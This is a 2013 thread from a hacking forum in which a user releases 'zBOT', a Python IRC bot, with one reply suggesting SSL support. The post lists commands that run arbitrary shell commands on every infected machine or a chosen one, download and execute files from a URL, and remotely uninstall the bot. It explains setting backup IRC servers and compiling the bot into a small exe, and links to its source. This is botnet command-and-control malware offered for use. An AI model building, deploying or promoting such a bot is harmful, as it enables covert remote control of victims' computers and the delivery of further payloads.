EvilZone

Programming and Scripting => Scripting Languages => : harvey September 28, 2013, 09:58:08 AM

: [Release] zBOT IRC Bot
: harvey September 28, 2013, 09:58:08 AM
zBOT IRC BOT
--------------------------------------------------
A python IRC bot skeleton, very stable and clean.

INFORMATION
This bot is very stable, small and clean. It has a few simple commands listed below.

COMMANDS
:
- .cmd all [CMD] Execute [CMD] on all machines,
- .cmd [KEY] [CMD] Execute [CMD] on [KEY] machine.
- .dl all [URL] Download [URL] and execute file,
- .dl [KEY] [URL] Download [URL] and execute a file on [KEY] machine.
- .info Information about the bot.
- .kill [KEY] Uninstall the bot on [KEY] machine.
- .nuke Uninstall the bot.

USAGE
Edit the "zbot.py" file and edit your config. The following is in the config :
:
- ircs: IRC Server.
- ircp: IRC Port.
- ircc: IRC Channel.
- ircs_backup: Backup IRC Server.
- ircp_backup: Backup IRC Port.
- ircc_backup: Backup IRC Channel.
- version: zBot Version.

You can use "setup.py" to compile the bot into an exe file, but you must download and install Py2EXE (http://www.py2exe.org/). The bin is under 2MB!

SOURCE CODE
- zbot.py: http://pastebin.com/kbstVXXC

- setup.py: http://pastebin.com/zEcjRvWm
: Re: [Release] zBOT IRC Bot
: nattewasbeer September 30, 2013, 11:20:20 PM
Might as well code in SSL support while you're at it.